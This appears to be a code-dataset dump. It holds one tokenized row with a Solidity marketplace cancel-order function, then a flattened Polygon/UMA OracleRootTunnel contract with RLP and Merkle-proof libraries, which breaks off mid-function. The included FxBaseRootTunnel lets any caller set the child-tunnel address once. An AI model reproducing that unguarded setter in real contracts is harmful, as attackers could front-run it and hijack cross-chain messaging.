file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
./full_match/4/0x1a05F590A0d266ba6e0aa6cD55B7Fb2A883565E0/sources/contracts/Marketplace.sol | * @dev Cancel an already published order can only be canceled by seller or the contract owner @param nftAddress - Address of the NFT registry @param assetId - ID of the published NFT/ | function _cancelOrder(address nftAddress, uint256 assetId)
internal
returns (Order memory)
{
address sender = _msgSender();
Order memory order = orderByAssetId[nftAddress][assetId];
require(order.id != 0, "Asset not published");
require(
order.seller == sender || sender == owner(),
"Unauthorized user"
);
bytes32 orderId = order.id;
address orderSeller = order.seller;
address orderNftAddress = order.nftAddress;
delete orderByAssetId[nftAddress][assetId];
emit OrderCancelled(orderId, assetId, orderSeller, orderNftAddress);
return order;
}
| 12,308,822 | [
1,
6691,
392,
1818,
9487,
1353,
225,
848,
1338,
506,
17271,
635,
29804,
578,
326,
6835,
3410,
225,
290,
1222,
1887,
300,
5267,
434,
326,
423,
4464,
4023,
225,
3310,
548,
300,
1599,
434,
326,
9487,
423,
4464,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
10996,
2448,
12,
2867,
290,
1222,
1887,
16,
2254,
5034,
3310,
548,
13,
203,
3639,
2713,
203,
3639,
1135,
261,
2448,
3778,
13,
203,
565,
288,
203,
3639,
1758,
5793,
273,
389,
3576,
12021,
5621,
203,
3639,
4347,
3778,
1353,
273,
5278,
6672,
548,
63,
82,
1222,
1887,
6362,
9406,
548,
15533,
203,
203,
3639,
2583,
12,
1019,
18,
350,
480,
374,
16,
315,
6672,
486,
9487,
8863,
203,
3639,
2583,
12,
203,
5411,
1353,
18,
1786,
749,
422,
5793,
747,
5793,
422,
3410,
9334,
203,
5411,
315,
13981,
729,
6,
203,
3639,
11272,
203,
203,
3639,
1731,
1578,
20944,
273,
1353,
18,
350,
31,
203,
3639,
1758,
1353,
22050,
273,
1353,
18,
1786,
749,
31,
203,
3639,
1758,
1353,
50,
1222,
1887,
273,
1353,
18,
82,
1222,
1887,
31,
203,
3639,
1430,
5278,
6672,
548,
63,
82,
1222,
1887,
6362,
9406,
548,
15533,
203,
203,
3639,
3626,
4347,
21890,
12,
1019,
548,
16,
3310,
548,
16,
1353,
22050,
16,
1353,
50,
1222,
1887,
1769,
203,
203,
3639,
327,
1353,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
// Sources flattened with hardhat v2.4.0 https://hardhat.org
// File contracts/external/polygon/lib/RLPReader.sol
// Copied mostly from Polygon demo FxTunnel repo: https://github.com/jdkanani/fx-portal.
// There are two modifications such that this contract compiles with Solidity v8:
// - Line 86: cannot convert directly from uint256 --> address
// - Line 226: cannot rely on wrapping arithmetic, must explicitly catch underflow/overflow with an unchecked{...}
// statement
// More details on Solidity v0.8.0 breaking changes here:
// https://docs.soliditylang.org/en/v0.8.4/080-breaking-changes.html#new-restrictions
pragma solidity ^0.8.0;
library RLPReader {
uint8 constant STRING_SHORT_START = 0x80;
uint8 constant STRING_LONG_START = 0xb8;
uint8 constant LIST_SHORT_START = 0xc0;
uint8 constant LIST_LONG_START = 0xf8;
uint8 constant WORD_SIZE = 32;
struct RLPItem {
uint256 len;
uint256 memPtr;
}
/*
* @param item RLP encoded bytes
*/
function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) {
require(item.length > 0, "RLPReader: INVALID_BYTES_LENGTH");
uint256 memPtr;
assembly {
memPtr := add(item, 0x20)
}
return RLPItem(item.length, memPtr);
}
/*
* @param item RLP encoded list in bytes
*/
function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) {
require(isList(item), "RLPReader: ITEM_NOT_LIST");
uint256 items = numItems(item);
RLPItem[] memory result = new RLPItem[](items);
uint256 listLength = _itemLength(item.memPtr);
require(listLength == item.len, "RLPReader: LIST_DECODED_LENGTH_MISMATCH");
uint256 memPtr = item.memPtr + _payloadOffset(item.memPtr);
uint256 dataLen;
for (uint256 i = 0; i < items; i++) {
dataLen = _itemLength(memPtr);
result[i] = RLPItem(dataLen, memPtr);
memPtr = memPtr + dataLen;
}
return result;
}
// @return indicator whether encoded payload is a list. negate this function call for isData.
function isList(RLPItem memory item) internal pure returns (bool) {
uint8 byte0;
uint256 memPtr = item.memPtr;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < LIST_SHORT_START) return false;
return true;
}
/** RLPItem conversions into data types **/
// @returns raw rlp encoding in bytes
function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) {
bytes memory result = new bytes(item.len);
uint256 ptr;
assembly {
ptr := add(0x20, result)
}
copy(item.memPtr, ptr, item.len);
return result;
}
function toAddress(RLPItem memory item) internal pure returns (address) {
require(!isList(item), "RLPReader: DECODING_LIST_AS_ADDRESS");
// 1 byte for the length prefix
require(item.len == 21, "RLPReader: INVALID_ADDRESS_LENGTH");
return address(uint160(toUint(item)));
}
function toUint(RLPItem memory item) internal pure returns (uint256) {
require(!isList(item), "RLPReader: DECODING_LIST_AS_UINT");
require(item.len <= 33, "RLPReader: INVALID_UINT_LENGTH");
uint256 itemLength = _itemLength(item.memPtr);
require(itemLength == item.len, "RLPReader: UINT_DECODED_LENGTH_MISMATCH");
uint256 offset = _payloadOffset(item.memPtr);
uint256 len = item.len - offset;
uint256 result;
uint256 memPtr = item.memPtr + offset;
assembly {
result := mload(memPtr)
// shfit to the correct location if neccesary
if lt(len, 32) {
result := div(result, exp(256, sub(32, len)))
}
}
return result;
}
// enforces 32 byte length
function toUintStrict(RLPItem memory item) internal pure returns (uint256) {
uint256 itemLength = _itemLength(item.memPtr);
require(itemLength == item.len, "RLPReader: UINT_STRICT_DECODED_LENGTH_MISMATCH");
// one byte prefix
require(item.len == 33, "RLPReader: INVALID_UINT_STRICT_LENGTH");
uint256 result;
uint256 memPtr = item.memPtr + 1;
assembly {
result := mload(memPtr)
}
return result;
}
function toBytes(RLPItem memory item) internal pure returns (bytes memory) {
uint256 listLength = _itemLength(item.memPtr);
require(listLength == item.len, "RLPReader: BYTES_DECODED_LENGTH_MISMATCH");
uint256 offset = _payloadOffset(item.memPtr);
uint256 len = item.len - offset; // data length
bytes memory result = new bytes(len);
uint256 destPtr;
assembly {
destPtr := add(0x20, result)
}
copy(item.memPtr + offset, destPtr, len);
return result;
}
/*
* Private Helpers
*/
// @return number of payload items inside an encoded list.
function numItems(RLPItem memory item) private pure returns (uint256) {
// add `isList` check if `item` is expected to be passsed without a check from calling function
// require(isList(item), "RLPReader: NUM_ITEMS_NOT_LIST");
uint256 count = 0;
uint256 currPtr = item.memPtr + _payloadOffset(item.memPtr);
uint256 endPtr = item.memPtr + item.len;
while (currPtr < endPtr) {
currPtr = currPtr + _itemLength(currPtr); // skip over an item
require(currPtr <= endPtr, "RLPReader: NUM_ITEMS_DECODED_LENGTH_MISMATCH");
count++;
}
return count;
}
// @return entire rlp item byte length
function _itemLength(uint256 memPtr) private pure returns (uint256) {
uint256 itemLen;
uint256 byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START) itemLen = 1;
else if (byte0 < STRING_LONG_START) itemLen = byte0 - STRING_SHORT_START + 1;
else if (byte0 < LIST_SHORT_START) {
assembly {
let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is
memPtr := add(memPtr, 1) // skip over the first byte
/* 32 byte word size */
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len
itemLen := add(dataLen, add(byteLen, 1))
}
} else if (byte0 < LIST_LONG_START) {
itemLen = byte0 - LIST_SHORT_START + 1;
} else {
assembly {
let byteLen := sub(byte0, 0xf7)
memPtr := add(memPtr, 1)
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length
itemLen := add(dataLen, add(byteLen, 1))
}
}
return itemLen;
}
// @return number of bytes until the data
function _payloadOffset(uint256 memPtr) private pure returns (uint256) {
uint256 byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START) return 0;
else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START)) return 1;
else if (byte0 < LIST_SHORT_START)
// being explicit
return byte0 - (STRING_LONG_START - 1) + 1;
else return byte0 - (LIST_LONG_START - 1) + 1;
}
/*
* @param src Pointer to source
* @param dest Pointer to destination
* @param len Amount of memory to copy from the source
*/
function copy(
uint256 src,
uint256 dest,
uint256 len
) private pure {
if (len == 0) return;
// copy as many word sizes as possible
for (; len >= WORD_SIZE; len -= WORD_SIZE) {
assembly {
mstore(dest, mload(src))
}
src += WORD_SIZE;
dest += WORD_SIZE;
}
unchecked {
// left over bytes. Mask is used to remove unwanted bytes from the word
uint256 mask = 256**(WORD_SIZE - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask)) // zero out src
let destpart := and(mload(dest), mask) // retrieve the bytes
mstore(dest, or(destpart, srcpart))
}
}
}
}
// File contracts/external/polygon/lib/MerklePatriciaProof.sol
// Copied with no modifications from Polygon demo FxTunnel repo: https://github.com/jdkanani/fx-portal
// except bumping version from 0.7.3 --> 0.8
pragma solidity ^0.8.0;
library MerklePatriciaProof {
/*
* @dev Verifies a merkle patricia proof.
* @param value The terminating value in the trie.
* @param encodedPath The path in the trie leading to value.
* @param rlpParentNodes The rlp encoded stack of nodes.
* @param root The root hash of the trie.
* @return The boolean validity of the proof.
*/
function verify(
bytes memory value,
bytes memory encodedPath,
bytes memory rlpParentNodes,
bytes32 root
) internal pure returns (bool) {
RLPReader.RLPItem memory item = RLPReader.toRlpItem(rlpParentNodes);
RLPReader.RLPItem[] memory parentNodes = RLPReader.toList(item);
bytes memory currentNode;
RLPReader.RLPItem[] memory currentNodeList;
bytes32 nodeKey = root;
uint256 pathPtr = 0;
bytes memory path = _getNibbleArray(encodedPath);
if (path.length == 0) {
return false;
}
for (uint256 i = 0; i < parentNodes.length; i++) {
if (pathPtr > path.length) {
return false;
}
currentNode = RLPReader.toRlpBytes(parentNodes[i]);
if (nodeKey != keccak256(currentNode)) {
return false;
}
currentNodeList = RLPReader.toList(parentNodes[i]);
if (currentNodeList.length == 17) {
if (pathPtr == path.length) {
if (keccak256(RLPReader.toBytes(currentNodeList[16])) == keccak256(value)) {
return true;
} else {
return false;
}
}
uint8 nextPathNibble = uint8(path[pathPtr]);
if (nextPathNibble > 16) {
return false;
}
nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[nextPathNibble]));
pathPtr += 1;
} else if (currentNodeList.length == 2) {
uint256 traversed = _nibblesToTraverse(RLPReader.toBytes(currentNodeList[0]), path, pathPtr);
if (pathPtr + traversed == path.length) {
//leaf node
if (keccak256(RLPReader.toBytes(currentNodeList[1])) == keccak256(value)) {
return true;
} else {
return false;
}
}
//extension node
if (traversed == 0) {
return false;
}
pathPtr += traversed;
nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[1]));
} else {
return false;
}
}
}
function _nibblesToTraverse(
bytes memory encodedPartialPath,
bytes memory path,
uint256 pathPtr
) private pure returns (uint256) {
uint256 len = 0;
// encodedPartialPath has elements that are each two hex characters (1 byte), but partialPath
// and slicedPath have elements that are each one hex character (1 nibble)
bytes memory partialPath = _getNibbleArray(encodedPartialPath);
bytes memory slicedPath = new bytes(partialPath.length);
// pathPtr counts nibbles in path
// partialPath.length is a number of nibbles
for (uint256 i = pathPtr; i < pathPtr + partialPath.length; i++) {
bytes1 pathNibble = path[i];
slicedPath[i - pathPtr] = pathNibble;
}
if (keccak256(partialPath) == keccak256(slicedPath)) {
len = partialPath.length;
} else {
len = 0;
}
return len;
}
// bytes b must be hp encoded
function _getNibbleArray(bytes memory b) internal pure returns (bytes memory) {
bytes memory nibbles = "";
if (b.length > 0) {
uint8 offset;
uint8 hpNibble = uint8(_getNthNibbleOfBytes(0, b));
if (hpNibble == 1 || hpNibble == 3) {
nibbles = new bytes(b.length * 2 - 1);
bytes1 oddNibble = _getNthNibbleOfBytes(1, b);
nibbles[0] = oddNibble;
offset = 1;
} else {
nibbles = new bytes(b.length * 2 - 2);
offset = 0;
}
for (uint256 i = offset; i < nibbles.length; i++) {
nibbles[i] = _getNthNibbleOfBytes(i - offset + 2, b);
}
}
return nibbles;
}
function _getNthNibbleOfBytes(uint256 n, bytes memory str) private pure returns (bytes1) {
return bytes1(n % 2 == 0 ? uint8(str[n / 2]) / 0x10 : uint8(str[n / 2]) % 0x10);
}
}
// File contracts/external/polygon/lib/Merkle.sol
// Copied with no modifications from Polygon demo FxTunnel repo: https://github.com/jdkanani/fx-portal
// except bumping version from 0.7.3 --> 0.8
pragma solidity ^0.8.0;
library Merkle {
function checkMembership(
bytes32 leaf,
uint256 index,
bytes32 rootHash,
bytes memory proof
) internal pure returns (bool) {
require(proof.length % 32 == 0, "Invalid proof length");
uint256 proofHeight = proof.length / 32;
// Proof of size n means, height of the tree is n+1.
// In a tree of height n+1, max #leafs possible is 2 ^ n
require(index < 2**proofHeight, "Leaf index is too big");
bytes32 proofElement;
bytes32 computedHash = leaf;
for (uint256 i = 32; i <= proof.length; i += 32) {
assembly {
proofElement := mload(add(proof, i))
}
if (index % 2 == 0) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
index = index / 2;
}
return computedHash == rootHash;
}
}
// File contracts/external/polygon/tunnel/FxBaseRootTunnel.sol
// Copied with no modifications from Polygon demo FxTunnel repo: https://github.com/jdkanani/fx-portal
// except bumping version from 0.7.3 --> 0.8
pragma solidity ^0.8.0;
interface IFxStateSender {
function sendMessageToChild(address _receiver, bytes calldata _data) external;
}
contract ICheckpointManager {
struct HeaderBlock {
bytes32 root;
uint256 start;
uint256 end;
uint256 createdAt;
address proposer;
}
/**
* @notice mapping of checkpoint header numbers to block details
* @dev These checkpoints are submited by plasma contracts
*/
mapping(uint256 => HeaderBlock) public headerBlocks;
}
abstract contract FxBaseRootTunnel {
using RLPReader for bytes;
using RLPReader for RLPReader.RLPItem;
using Merkle for bytes32;
// keccak256(MessageSent(bytes))
bytes32 public constant SEND_MESSAGE_EVENT_SIG = 0x8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b036;
// state sender contract
IFxStateSender public fxRoot;
// root chain manager
ICheckpointManager public checkpointManager;
// child tunnel contract which receives and sends messages
address public fxChildTunnel;
// storage to avoid duplicate exits
mapping(bytes32 => bool) public processedExits;
constructor(address _checkpointManager, address _fxRoot) {
checkpointManager = ICheckpointManager(_checkpointManager);
fxRoot = IFxStateSender(_fxRoot);
}
// set fxChildTunnel if not set already
function setFxChildTunnel(address _fxChildTunnel) public {
require(fxChildTunnel == address(0x0), "FxBaseRootTunnel: CHILD_TUNNEL_ALREADY_SET");
fxChildTunnel = _fxChildTunnel;
}
/**
* @notice Send bytes message to Child Tunnel
* @param message bytes message that will be sent to Child Tunnel
* some message examples -
* abi.encode(tokenId);
* abi.encode(tokenId, tokenMetadata);
* abi.encode(messageType, messageData);
*/
function _sendMessageToChild(bytes memory message) internal {
fxRoot.sendMessageToChild(fxChildTunnel, message);
}
function _validateAndExtractMessage(bytes memory inputData) internal returns (bytes memory) {
RLPReader.RLPItem[] memory inputDataRLPList = inputData.toRlpItem().toList();
// checking if exit has already been processed
// unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex)
bytes32 exitHash =
keccak256(
abi.encodePacked(
inputDataRLPList[2].toUint(), // blockNumber
// first 2 nibbles are dropped while generating nibble array
// this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only)
// so converting to nibble array and then hashing it
MerklePatriciaProof._getNibbleArray(inputDataRLPList[8].toBytes()), // branchMask
inputDataRLPList[9].toUint() // receiptLogIndex
)
);
require(processedExits[exitHash] == false, "FxRootTunnel: EXIT_ALREADY_PROCESSED");
processedExits[exitHash] = true;
RLPReader.RLPItem[] memory receiptRLPList = inputDataRLPList[6].toBytes().toRlpItem().toList();
RLPReader.RLPItem memory logRLP =
receiptRLPList[3].toList()[
inputDataRLPList[9].toUint() // receiptLogIndex
];
RLPReader.RLPItem[] memory logRLPList = logRLP.toList();
// check child tunnel
require(fxChildTunnel == RLPReader.toAddress(logRLPList[0]), "FxRootTunnel: INVALID_FX_CHILD_TUNNEL");
// verify receipt inclusion
require(
MerklePatriciaProof.verify(
inputDataRLPList[6].toBytes(), // receipt
inputDataRLPList[8].toBytes(), // branchMask
inputDataRLPList[7].toBytes(), // receiptProof
bytes32(inputDataRLPList[5].toUint()) // receiptRoot
),
"FxRootTunnel: INVALID_RECEIPT_PROOF"
);
// verify checkpoint inclusion
_checkBlockMembershipInCheckpoint(
inputDataRLPList[2].toUint(), // blockNumber
inputDataRLPList[3].toUint(), // blockTime
bytes32(inputDataRLPList[4].toUint()), // txRoot
bytes32(inputDataRLPList[5].toUint()), // receiptRoot
inputDataRLPList[0].toUint(), // headerNumber
inputDataRLPList[1].toBytes() // blockProof
);
RLPReader.RLPItem[] memory logTopicRLPList = logRLPList[1].toList(); // topics
require(
bytes32(logTopicRLPList[0].toUint()) == SEND_MESSAGE_EVENT_SIG, // topic0 is event sig
"FxRootTunnel: INVALID_SIGNATURE"
);
// received message data
bytes memory receivedData = logRLPList[2].toBytes();
bytes memory message = abi.decode(receivedData, (bytes)); // event decodes params again, so decoding bytes to get message
return message;
}
function _checkBlockMembershipInCheckpoint(
uint256 blockNumber,
uint256 blockTime,
bytes32 txRoot,
bytes32 receiptRoot,
uint256 headerNumber,
bytes memory blockProof
) private view returns (uint256) {
(bytes32 headerRoot, uint256 startBlock, , uint256 createdAt, ) = checkpointManager.headerBlocks(headerNumber);
require(
keccak256(abi.encodePacked(blockNumber, blockTime, txRoot, receiptRoot)).checkMembership(
blockNumber - startBlock,
headerRoot,
blockProof
),
"FxRootTunnel: INVALID_HEADER"
);
return createdAt;
}
/**
* @notice receive message from L2 to L1, validated by proof
* @dev This function verifies if the transaction actually happened on child chain
*
* @param inputData RLP encoded data of the reference tx containing following list of fields
* 0 - headerNumber - Checkpoint header block number containing the reference tx
* 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root
* 2 - blockNumber - Block number containing the reference tx on child chain
* 3 - blockTime - Reference tx block time
* 4 - txRoot - Transactions root of block
* 5 - receiptRoot - Receipts root of block
* 6 - receipt - Receipt of the reference transaction
* 7 - receiptProof - Merkle proof of the reference receipt
* 8 - branchMask - 32 bits denoting the path of receipt in merkle tree
* 9 - receiptLogIndex - Log Index to read from the receipt
*/
function receiveMessage(bytes memory inputData) public virtual {
bytes memory message = _validateAndExtractMessage(inputData);
_processMessageFromChild(message);
}
/**
* @notice Process message received from Child Tunnel
* @dev function needs to be implemented to handle message as per requirement
* This is called by onStateReceive function.
* Since it is called via a system call, any event will not be emitted during its execution.
* @param message bytes message that was sent from Child Tunnel
*/
function _processMessageFromChild(bytes memory message) internal virtual;
}
// File contracts/oracle/interfaces/FinderInterface.sol
pragma solidity ^0.8.0;
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples are the Oracle or Store interfaces.
*/
interface FinderInterface {
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 encoding of the interface name that is either changed or registered.
* @param implementationAddress address of the deployed contract that implements the interface.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external;
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the deployed contract that implements the interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
// File contracts/oracle/implementation/Constants.sol
pragma solidity ^0.8.0;
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
bytes32 public constant CollateralWhitelist = "CollateralWhitelist";
bytes32 public constant OptimisticOracle = "OptimisticOracle";
bytes32 public constant Bridge = "Bridge";
bytes32 public constant GenericHandler = "GenericHandler";
}
// File contracts/polygon/OracleBaseTunnel.sol
pragma solidity ^0.8.0;
/**
* @notice Enforces lifecycle of price requests for deriving contract.
*/
abstract contract OracleBaseTunnel {
enum RequestState { NeverRequested, Requested, Resolved }
struct Price {
RequestState state;
int256 price;
}
// This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible
// that a price can be requested to this contract successfully, but cannot be resolved by the DVM which refuses
// to accept a price request made with ancillary data length over a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
// Mapping of encoded price requests {identifier, time, ancillaryData} to Price objects.
mapping(bytes32 => Price) internal prices;
// Finder to provide addresses for DVM system contracts.
FinderInterface public finder;
event PriceRequestAdded(bytes32 indexed identifier, uint256 time, bytes ancillaryData, bytes32 indexed requestHash);
event PushedPrice(
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
int256 price,
bytes32 indexed requestHash
);
/**
* @notice Constructor.
* @param _finderAddress finder to use to get addresses of DVM contracts.
*/
constructor(address _finderAddress) {
finder = FinderInterface(_finderAddress);
}
/**
* @notice Enqueues a request (if a request isn't already present) for the given (identifier, time,
* ancillary data) combination. Will only emit an event if the request has never been requested.
*/
function _requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) internal {
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
bytes32 priceRequestId = _encodePriceRequest(identifier, time, ancillaryData);
Price storage lookup = prices[priceRequestId];
if (lookup.state == RequestState.NeverRequested) {
lookup.state = RequestState.Requested;
emit PriceRequestAdded(identifier, time, ancillaryData, priceRequestId);
}
}
/**
* @notice Publishes price for a requested query. Will only emit an event if the request has never been resolved.
*/
function _publishPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
int256 price
) internal {
bytes32 priceRequestId = _encodePriceRequest(identifier, time, ancillaryData);
Price storage lookup = prices[priceRequestId];
if (lookup.state == RequestState.Requested) {
lookup.price = price;
lookup.state = RequestState.Resolved;
emit PushedPrice(identifier, time, ancillaryData, lookup.price, priceRequestId);
}
}
/**
* @notice Returns the convenient way to store price requests, uniquely identified by {identifier, time,
* ancillaryData }.
*/
function _encodePriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) internal pure returns (bytes32) {
return keccak256(abi.encode(identifier, time, ancillaryData));
}
}
// File contracts/oracle/interfaces/OracleAncillaryInterface.sol
pragma solidity ^0.8.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleAncillaryInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param time unix timestamp for the price request.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (int256);
}
// File contracts/common/implementation/Lockable.sol
pragma solidity ^0.8.0;
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
contract Lockable {
bool private _notEntered;
constructor() {
// Storing an initial non-zero value makes deployment a bit more expensive, but in exchange the refund on every
// call to nonReentrant will be lower in amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to increase the likelihood of the full
// refund coming into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant` function is not supported. It is possible to
* prevent this from happening by making the `nonReentrant` function external, and making it call a `private`
* function that does the actual state modification.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
// Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method.
// On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being
// re-entered. Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and
// then call `_postEntranceReset()`.
// View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// File contracts/polygon/OracleRootTunnel.sol
pragma solidity ^0.8.0;
/**
* @title Adapter deployed on mainnet that validates and sends price requests from sidechain to the DVM on mainnet.
* @dev This contract must be a registered financial contract in order to make DVM price requests.
*/
contract OracleRootTunnel is OracleBaseTunnel, FxBaseRootTunnel, Lockable {
constructor(
address _checkpointManager,
address _fxRoot,
address _finderAddress
) OracleBaseTunnel(_finderAddress) FxBaseRootTunnel(_checkpointManager, _fxRoot) {}
/**
* @notice This is the first method that should be called in order to publish a price request to the sidechain.
* @dev Publishes the DVM resolved price for the price request, or reverts if not resolved yet. This contract must
* be registered with the DVM to query price requests.
* @param identifier Identifier of price request to resolve.
* @param time Timestamp of price request to resolve.
* @param ancillaryData extra data of price request to resolve.
*/
function publishPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public nonReentrant() {
// `getPrice` will revert if there is no price.
int256 price = _getOracle().getPrice(identifier, time, ancillaryData);
// This implementation allows duplicate MessageSent events via _sendMessageToRoot. The child tunnel on the
// sidechain will not have a problem handling duplicate price resolutions (it will just ignore them). This is
// potentially a fallback in case the automatic state sync to the sidechain is missing the `publishPrice`
// transaction for some reason. There is little risk in duplicating MessageSent emissions because the sidechain
// bridge does not impose any rate-limiting.
_publishPrice(identifier, time, ancillaryData, price);
_sendMessageToChild(abi.encode(identifier, time, ancillaryData, price));
}
/**
* @notice Submits a price request.
* @dev This internal method will be called inside `receiveMessage(bytes memory inputData)`. The `inputData` is a
* proof of transaction that is derived from the transaction hash of the transaction on the child chain that
* originated the cross-chain price request via _sendMessageToRoot. This contract must be registered with the DVM
* to submit price requests.
* @param data ABI encoded params with which to call `requestPrice`.
*/
function _processMessageFromChild(bytes memory data) internal override {
